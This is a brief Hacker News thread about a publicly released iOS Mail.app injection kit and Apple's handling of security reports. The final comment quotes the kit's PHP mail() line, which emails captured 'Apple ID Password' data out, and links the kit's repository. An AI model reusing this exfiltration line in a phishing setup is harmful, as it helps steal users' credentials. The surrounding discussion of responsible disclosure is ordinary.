top | item 9690344

(no title)

pasta_2 | 10 years ago

Did this guy e-mail Apple product security?

https://www.apple.com/support/security/

discuss

kentonv|10 years ago

My experience with product-security@apple.com was that they sat on my report without doing anything for several months, then finally put together a fix after I threatened to go public.

It sounds like this guy may have skipped the threatening step and just went public.

kranner|10 years ago

Apparently filed a Radar report on Jan 15, 2015.

TsukasaUjiie|10 years ago

And every time it's tested:

"mail('product-security@apple.com','Apple ID Password',"Thanks for your password! \n $data ¯\_(ツ)_/¯ \n https://github.com/jansoucek/iOS-Mail.app-inject-kit");"

[1]: https://github.com/jansoucek/iOS-Mail.app-inject-kit/blob/ma...